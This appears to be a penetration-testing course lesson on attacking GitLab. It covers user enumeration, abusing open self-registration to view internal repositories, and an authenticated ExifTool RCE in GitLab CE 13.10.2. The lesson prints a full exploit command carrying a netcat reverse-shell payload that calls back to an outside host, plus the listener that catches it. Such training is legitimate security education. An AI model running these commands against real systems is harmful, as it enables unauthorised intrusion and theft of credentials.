GitLab: From Open Registration to Authenticated RCE

0s7 min★ 30 XP

Lesson 14Interactive lesson

GitLab: From Open Registration to Authenticated RCE

A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.

Lesson format14 sections3 code blocks1 practice itemUpdated Aug 27, 2026

#They Left Self-Registration Enabled. That Was Their Mistake.#link

GitLab instances with open registration are more common than you'd think. No admin approval required. You create an account, log in, and suddenly internal repositories are visible. Repositories that contain hardcoded credentials, SSH keys, and configuration files.

Enumerating users without an account

GitLab user enumeration script

root@vulnarex:~#./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt

The registration form leaks user existence. If a username is taken, you get a different error than if it's available. Same for emails. GitLab doesn't consider this a vulnerability—their HackerOne page explicitly states user enumeration without additional impact isn't accepted. But it gives you targets for password spraying.

Registering and accessing internal repos

Register with hacker:Welcome. Log in. Browse to /explore. An internal project Inlanefreight website is now visible—projects that were hidden from unauthenticated users. In a real engagement, this is where you find production code, API keys, database connection strings.

Authenticated RCE: CVE in GitLab CE 13.10.2

GitLab Community Edition 13.10.2 and lower has an authenticated RCE via ExifTool metadata handling in uploaded image files. If self-registration is enabled on a vulnerable version, you create an account and exploit immediately. No OSINT needed.

Exploiting GitLab RCE with reverse shell

root@vulnarex:~#python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f'

Catching the GitLab shell

root@vulnarex:~#nc -lnvp 8443

callout

GitLab has 553 CVEs as of September 2021. Versions 12.9.0, 11.4.7, 13.10.3, 13.9.3, and 13.10.2 all had serious exploits. The version is only visible at /help when logged in. If you can't register and can't see the version, don't blindly throw exploits. Hunt for secrets in public repos instead.

★ 30 XP

SYNTAX VALIDATION (★ 30 XP)

Type the GitLab URL path where you can view the version number when logged in:

root@vulnarex:~#

Press Enter to submit

Check /explore for public repos. Try registering an account. Enumerate users. Search for passwords in commit history. GitLab doesn't need to be directly exploitable to hand you the keys to the kingdom. Go check if the lab instance allows registration.

Lesson completion

Ready to resolve this lesson?

Finish the lesson once you have worked through the material. This awards ★ 30 XP.

Previous lesson

Lesson tools

Workspace

0% read

Lab notes

Notes persist per lesson.

They Left Self-Registration Enabled. That Was Their Mistake.

Content

Last updated

August 27, 2026

Agent Setup

Access lesson content programmatically for AI agents, LLMs, and automated pipelines.

Fetch as Markdown (Accept header)

curl -H "Accept: text/markdown" "/api/content/lessons?courseSlug=attacking-common-applications&lessonSlug=14-gitlab-enum-rce&lang=en&format=markdown"

MCP Server Config (mcp.json)

{
  "mcpServers": {
    "vulnarex": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-fetch"],
      "env": { "MCP_FETCH_URL": "https://vulnarex.com" }
    }
  }
}

MCP Server Card/.well-known/mcp.json A2A Agent Card/.well-known/agent-card.json API Catalog/.well-known/api-catalog robots.txt/robots.txt

Laboratory sanity code

Isolate active probes on matched virtual networks and keep execution streams sandboxed.